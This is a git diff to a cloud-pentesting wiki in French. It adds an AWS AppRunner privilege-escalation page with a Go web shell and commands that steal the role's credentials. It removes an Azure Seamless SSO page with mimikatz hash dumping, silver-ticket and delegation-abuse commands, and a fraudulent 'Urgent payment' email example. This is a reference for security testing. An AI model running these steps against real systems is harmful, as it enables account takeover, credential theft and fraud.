diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 2e6ba8b7c..02ee21711 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -267,6 +267,7 @@ - [AWS - VPN Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md) - [AWS - Privilege Escalation](pentesting-cloud/aws-security/aws-privilege-escalation/README.md) - [AWS - Apigateway Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md) + - [AWS - AppRunner Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md) - [AWS - Chime Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md) - [AWS - Codebuild Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md) - [AWS - Codepipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md) @@ -454,7 +455,7 @@ - [Az - Pass the Cookie](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md) - [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md) - [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md) - - [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md) + - [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-seamless-sso.md) - [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md) - [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md) - [Az - CosmosDB Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md new file mode 100644 index 000000000..ec1d147d5 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md @@ -0,0 +1,71 @@ +# AWS - AppRunner Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## AppRunner + +### `iam:PassRole`, `apprunner:CreateService` + +Un attaquant disposant de ces autorisations peut créer un service AppRunner avec un rôle IAM attaché, ce qui peut potentiellement entraîner une élévation de privilèges en accédant aux informations d'identification du rôle. + +L'attaquant crée d'abord un Dockerfile qui sert de web shell pour exécuter des commandes arbitraires sur le conteneur AppRunner. +```Dockerfile +FROM golang:1.24-bookworm +WORKDIR /app +RUN apt-get update && apt-get install -y ca-certificates curl +RUN cat <<'EOF' > main.go +package main + +import ( +"fmt" +"net/http" +"os/exec" +) + +func main() { +http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { +command := exec.Command("sh", "-c", r.URL.Query().Get("cmd")) +output, err := command.CombinedOutput() +if err != nil { +fmt.Fprint(w, err.Error(), output) +return +} + +fmt.Fprint(w, string(output)) +}) +http.ListenAndServe("0.0.0.0:3000", nil) +} +EOF +RUN go mod init test && go build -o main . +EXPOSE 3000 +CMD ["./main"] +``` +Ensuite, poussez cette image vers un dépôt ECR. En poussant l'image vers un dépôt public dans un compte AWS contrôlé par l'attaquant, l'escalade de privilèges est possible même si le compte de la victime n'a pas les autorisations nécessaires pour manipuler ECR. +```sh +IMAGE_NAME=public.ecr.aws///:latest +docker buildx build --platform linux/amd64 -t $IMAGE_NAME . +aws ecr-public get-login-password | docker login --username AWS --password-stdin public.ecr.aws +docker push $IMAGE_NAME +docker logout public.ecr.aws +``` +Ensuite, l'attaquant crée un service AppRunner configuré avec cette image de web shell et le rôle IAM qu'il souhaite exploiter. +```bash +aws apprunner create-service \ +--service-name malicious-service \ +--source-configuration '{ +"ImageRepository": { +"ImageIdentifier": "public.ecr.aws///:latest", +"ImageRepositoryType": "ECR_PUBLIC", +"ImageConfiguration": { "Port": "3000" } +} +}' \ +--instance-configuration '{"InstanceRoleArn": "arn:aws:iam::123456789012:role/AppRunnerRole"}' \ +--query Service.ServiceUrl +``` +Après avoir attendu la création du service, utilisez le shell web pour récupérer les identifiants du conteneur et obtenir les autorisations du rôle IAM attaché à AppRunner. +```sh +curl 'https:///?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER_CREDENTIALS_RELATIVE_URI' +``` +**Impact potentiel :** Escalade de privilèges directe vers tout rôle IAM pouvant être attaché aux services AppRunner. + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md deleted file mode 100644 index 895e668e0..000000000 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md +++ /dev/null @@ -1,191 +0,0 @@ -# Az - Seamless SSO - -{{#include ../../../banners/hacktricks-training.md}} - -## Informations de base - -[Dans la documentation :](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **connecte automatiquement les utilisateurs lorsqu'ils sont sur leurs appareils d'entreprise** connectés à votre réseau d'entreprise. Lorsqu'il est activé, **les utilisateurs n'ont pas besoin de taper leurs mots de passe pour se connecter à Azure AD**, et généralement, même de taper leurs noms d'utilisateur. Cette fonctionnalité offre à vos utilisateurs un accès facile à vos applications basées sur le cloud sans nécessiter de composants supplémentaires sur site. - -

https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works

- -Fondamentalement, Azure AD Seamless SSO **connecte les utilisateurs** lorsqu'ils sont **sur un PC joint à un domaine sur site**. - -Il est pris en charge à la fois par [**PHS (Password Hash Sync)**](phs-password-hash-sync.md) et [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md). - -Le SSO de bureau utilise **Kerberos** pour l'authentification. Lorsqu'il est configuré, Azure AD Connect crée un **compte d'ordinateur appelé `AZUREADSSOACC$`** dans l'AD sur site. Le mot de passe du compte `AZUREADSSOACC$` est **envoyé en texte clair à Entra ID** lors de la configuration. - -Les **tickets Kerberos** sont **chiffrés** en utilisant le **NTHash (MD4)** du mot de passe et Entra ID utilise le mot de passe envoyé pour déchiffrer les tickets. - -**Entra ID** expose un **point de terminaison** (https://autologon.microsoftazuread-sso.com) qui accepte les **tickets** Kerberos. Le navigateur de la machine jointe au domaine transmet les tickets à ce point de terminaison pour le SSO. - -### Énumération -```bash -# Check if the SSO is enabled in the tenant -Import-Module AADInternals -Invoke-AADIntReconAsOutsider -Domain | Format-Table - -# Check if the AZUREADSSOACC$ account exists in the domain -Install-WindowsFeature RSAT-AD-PowerShell -Import-Module ActiveDirectory -Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'" - -# Check it using raw LDAP queries without needing an external module -$searcher = New-Object System.DirectoryServices.DirectorySearcher -$searcher.Filter = "(samAccountName=AZUREADSSOACC`$)" -$searcher.FindOne() -``` -## Pivoting : Sur site -> cloud - -> [!WARNING] -> La principale chose à savoir sur cette attaque est que le simple fait d'avoir le TGT ou un TGS spécifique d'un utilisateur synchronisé avec Entra ID suffit pour accéder aux ressources cloud.\ -> C'est parce que c'est un ticket qui permet à un utilisateur de se connecter au cloud. - -Pour obtenir ce ticket TGS, l'attaquant doit avoir l'un des éléments suivants : -- **Un TGS d'utilisateur compromis :** Si vous compromettez la session d'un utilisateur avec le ticket pour `HTTP/autologon.microsoftazuread-sso.com` en mémoire, vous pouvez l'utiliser pour accéder aux ressources cloud. -- **Un TGT d'utilisateur compromis :** Même si vous n'en avez pas, mais que l'utilisateur a été compromis, vous pouvez en obtenir un en utilisant le truc de délégation de TGT falsifié implémenté dans de nombreux outils tels que [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) et [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9). -- **Un hash ou mot de passe d'utilisateur compromis :** SeamlessPass communiquera avec le contrôleur de domaine avec ces informations pour générer le TGT puis le TGS. -- **Un ticket doré :** Si vous avez la clé KRBTGT, vous pouvez créer le TGT dont vous avez besoin pour l'utilisateur attaqué. -- **Le hash ou mot de passe du compte AZUREADSSOACC$ :** Avec ces informations et l'identifiant de sécurité (SID) de l'utilisateur à attaquer, il est possible de créer un ticket de service et de s'authentifier avec le cloud (comme effectué dans la méthode précédente). - -### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) - -Comme [expliqué dans cet article de blog](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/), avoir l'un des précédents prérequis rend très facile l'utilisation de l'outil **SeamlessPass** pour accéder aux ressources cloud en tant qu'utilisateur compromis, ou en tant que n'importe quel utilisateur si vous avez le hash ou le mot de passe du compte **`AZUREADSSOACC$`**. - -Enfin, avec le TGT, il est possible d'utiliser l'outil [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) avec : -```bash -# Using the TGT to access the cloud -seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt -# Using the TGS to access the cloud -seamlesspass -tenant corp.com -tgs user_tgs.ccache -# Using the victims account hash or password to access the cloud -seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -username user -ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -seamlesspass -tenant corp.com -domain corp.local -dc 10.0.1.2 -username user -password password -# Using the AZUREADSSOACC$ account hash (ntlm or aes) to access the cloud with a specific user SID and domain SID -seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -user-sid S-1-5-21-1234567890-1234567890-1234567890-1234 -seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234 -wmic useraccount get name,sid # Get the user SIDs -``` -Des informations supplémentaires pour configurer Firefox afin de fonctionner avec le SSO transparent peuvent être [**trouvées dans cet article de blog**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). - -### Obtention des hachages du compte AZUREADSSOACC$ - -Le **mot de passe** de l'utilisateur **`AZUREADSSOACC$` ne change jamais**. Par conséquent, un administrateur de domaine pourrait compromettre le **hachage de ce compte**, puis l'utiliser pour **créer des tickets argent** afin de se connecter à Azure avec **n'importe quel utilisateur sur site synchronisé** : -```bash -# Dump hash using mimikatz -Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"' -mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit - -# Dump hash using https://github.com/MichaelGrafnetter/DSInternals -Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local - -# Dump using ntdsutil and DSInternals -## Dump NTDS.dit -ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q -## Extract password -Install-Module DSInternals -Import-Module DSInternals -$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM' -(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos -``` -> [!NOTE] -> Avec les informations actuelles, vous pourriez simplement utiliser l'outil **SeamlessPass** comme indiqué précédemment pour obtenir des tokens azure et entraid pour n'importe quel utilisateur du domaine. -> Vous pourriez également utiliser les techniques précédentes (et d'autres) pour obtenir le hash du mot de passe de la victime que vous souhaitez imiter au lieu du compte `AZUREADSSOACC$`. - -#### Création de Silver Tickets - -Avec le hash, vous pouvez maintenant **générer des silver tickets** : -```bash -# Get users and SIDs -Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier - -# Create a silver ticket to connect to Azure with mimikatz -Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4: /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt"' -mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit - -# Create silver ticket with AADInternal to access Exchange Online -$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4" -$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com -## Send email -Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "

Urgent!


The following bill should be paid asap." -``` -### Utilisation des Silver Tickets avec Firefox - -Pour utiliser le silver ticket, les étapes suivantes doivent être exécutées : - -1. **Lancer le Navigateur :** Mozilla Firefox doit être lancé. -2. **Configurer le Navigateur :** -- Naviguez vers **`about:config`**. -- Définissez la préférence pour [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) sur la [valeur](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically) spécifiée : -- `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com` -- Allez dans `Paramètres` de Firefox > Recherchez `Autoriser l'authentification unique Windows pour les comptes Microsoft, de travail et scolaires` et activez-le. -3. **Accéder à l'Application Web :** -- Visitez une application web qui est intégrée au domaine AAD de l'organisation. Un exemple courant est [login.microsoftonline.com](https://login.microsoftonline.com/). -4. **Processus d'Authentification :** -- À l'écran de connexion, le nom d'utilisateur doit être saisi, en laissant le champ du mot de passe vide. -- Pour continuer, appuyez sur TAB ou ENTER. - -> [!WARNING] -> Cela **ne contourne pas la MFA si elle est activée** pour l'utilisateur. - - -### On-prem -> Cloud via Délégation Contrainte Basée sur les Ressources - -Pour effectuer l'attaque, il est nécessaire : - -- `WriteDACL` / `GenericWrite` sur `AZUREADSSOACC$` -- Un compte d'ordinateur que vous contrôlez (hash & mot de passe) - Vous pourriez en créer un - - -1. Étape 1 – Ajoutez votre propre compte d'ordinateur -- Crée `ATTACKBOX$` et imprime son SID/NTLM hash. Tout utilisateur de domaine peut le faire tant que MachineAccountQuota > 0 -```bash -# Impacket -python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \ --computer ATTACKBOX$ -password S3cureP@ss -``` -2. Étape 2 – Accorder RBCD sur `AZUREADSSOACC$` - Écrit le SID de votre machine dans `msDS-AllowedToActOnBehalfOfOtherIdentity`. -```bash -python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \ -ATTACKBOX$ AZUREADSSOACC$ - -# Or, from Windows: -$SID = (Get-ADComputer ATTACKBOX$).SID -Set-ADComputer AZUREADSSOACC$ ` --PrincipalsAllowedToDelegateToAccount $SID -``` -3. Étape 3 – Forger un TGS pour n'importe quel utilisateur (par exemple : alice) -```bash -# Using your machine's password or NTLM hash -python3 getST.py -dc-ip 192.168.1.10 \ --spn HTTP/autologon.microsoftazuread-sso.com \ --impersonate alice \ -DOMAIN/ATTACKBOX$ -hashes :9b3c0d06d0b9a6ef9ed0e72fb2b64821 - -# Produces alice.autologon.ccache - -#Or, from Windows: -Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 ` -/impersonateuser:alice ` -/msdsspn:"HTTP/autologon.microsoftazuread-sso.com" /dc:192.168.1.10 /ptt -``` -Vous pouvez maintenant utiliser le **TGS pour accéder aux ressources Azure en tant qu'utilisateur usurpé.** - - -### ~~Création de tickets Kerberos pour les utilisateurs uniquement cloud~~ - -Si les administrateurs Active Directory ont accès à Azure AD Connect, ils peuvent **définir le SID pour tout utilisateur cloud**. De cette manière, des **tickets** Kerberos peuvent être **créés également pour les utilisateurs uniquement cloud**. La seule exigence est que le SID soit un [SID](). - -> [!CAUTION] -> Changer le SID des utilisateurs administrateurs uniquement cloud est maintenant **bloqué par Microsoft**.\ -> Pour plus d'infos, consultez [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) - - - -## Références - -- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso) -- [https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/) -- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) -- [TR19: Je suis dans votre cloud, lisant les e-mails de tout le monde - hacking Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/theme/ai.js b/theme/ai.js index 02f51127e..c09116c72 100644 --- a/theme/ai.js +++ b/theme/ai.js @@ -1,6 +1,6 @@ /** * HackTricks Training Discounts - */ + (() => { @@ -9,13 +9,13 @@ const TXT = 'Click here for HT Summer Discounts, Last Days!'; const URL = 'https://training.hacktricks.xyz'; - /* Stop if user already dismissed */ + # Stop if user already dismissed if (localStorage.getItem(KEY) === 'true') return; - /* Quick helper */ + # Quick helper const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css }); - /* --- Overlay (blur + dim) --- */ + # --- Overlay (blur + dim) --- const overlay = $('div', ` position: fixed; inset: 0; background: rgba(0,0,0,.4); @@ -24,7 +24,7 @@ z-index: 10000; `); - /* --- Modal --- */ + # --- Modal --- const modal = $('div', ` max-width: 90vw; width: 480px; background: #fff; border-radius: 12px; overflow: hidden; @@ -33,10 +33,10 @@ display: flex; flex-direction: column; align-items: stretch; `); - /* --- Title bar (link + close) --- */ + # --- Title bar (link + close) --- const titleBar = $('div', ` position: relative; - padding: 1rem 2.5rem 1rem 1rem; /* room for the close button */ + padding: 1rem 2.5rem 1rem 1rem; # room for the close button text-align: center; background: #222; color: #fff; font-size: 1.3rem; font-weight: 700; @@ -53,7 +53,7 @@ link.textContent = TXT; titleBar.appendChild(link); - /* Close "X" (no persistence) */ + # Close "X" (no persistence) const closeBtn = $('button', ` position: absolute; top: .25rem; right: .5rem; background: transparent; border: none; @@ -65,11 +65,11 @@ closeBtn.onclick = () => overlay.remove(); titleBar.appendChild(closeBtn); - /* --- Image --- */ + # --- Image --- const img = $('img'); img.src = IMG; img.alt = TXT; img.style.width = '100%'; - /* --- Checkbox row --- */ + # --- Checkbox row --- const label = $('label', ` display: flex; align-items: center; justify-content: center; gap: .6rem; padding: 1rem; font-size: 1rem; color: #222; cursor: pointer; @@ -83,7 +83,7 @@ }; label.append(cb, document.createTextNode("Don't show again")); - /* --- Assemble & inject --- */ + # --- Assemble & inject --- modal.append(titleBar, img, label); overlay.appendChild(modal); @@ -94,7 +94,7 @@ } })(); - +*/